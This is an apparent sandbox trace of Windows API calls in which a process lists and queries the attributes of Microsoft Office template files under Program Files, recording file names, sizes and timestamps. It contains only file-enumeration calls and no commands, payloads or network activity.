	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd1000, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72cd1000, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="PROJPL~1.XLT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda0600, ftCreationTime.dwHighDateTime=0x1c6d971, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdeda0600, ftLastWriteTime.dwHighDateTime=0x1c6d971, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="QUIZSH~1.POT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="SALESR~1.XLT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88423a00, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88423a00, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="TASKLI~1.XLT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa697690, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="TIMECA~1.XLT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="TRAINI~1.POT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanLetter.Dotx", cAlternateFileName="URBANL~1.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeFax.Dotx", cAlternateFileName="URBANM~1.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeLetter.Dotx", cAlternateFileName="URBANM~2.DOT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x40d6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanPhotoAlbum.potx", cAlternateFileName="URBANP~1.POT")) returned 1
	[0053.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xd0fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanReport.Dotx", cAlternateFileName="URBANR~1.DOT")) returned 1
	[0053.462] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ed1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanResume.Dotx", cAlternateFileName="URBANR~2.DOT")) returned 1
	[0053.462] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 1
	[0053.462] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.462] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d318 | out: lpFileInformation=0x1283d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0053.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d368 | out: lpFileInformation=0x1283d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00)) returned 1
	[0053.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d3b8 | out: lpFileInformation=0x1283d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200)) returned 1
	[0053.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d408 | out: lpFileInformation=0x1283d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0053.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d458 | out: lpFileInformation=0x1283d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600)) returned 1
	[0053.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d4a8 | out: lpFileInformation=0x1283d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0053.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d4f8 | out: lpFileInformation=0x1283d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200)) returned 1
	[0053.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d548 | out: lpFileInformation=0x1283d548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00)) returned 1
	[0053.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d598 | out: lpFileInformation=0x1283d598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400)) returned 1
	[0053.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), fInfoLevelId=0x0, lpFileInformation=0x1283d5e8 | out: lpFileInformation=0x1283d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600)) returned 1
	[0053.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), fInfoLevelId=0x0, lpFileInformation=0x1283d638 | out: lpFileInformation=0x1283d638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="CHARIT~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="FACULT~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="MARKET~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="NORTHW~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="SALESP~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0x0, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="STUDEN~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1
	[0053.468] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.468] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), fInfoLevelId=0x0, lpFileInformation=0x1283db38 | out: lpFileInformation=0x1283db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e)) returned 1
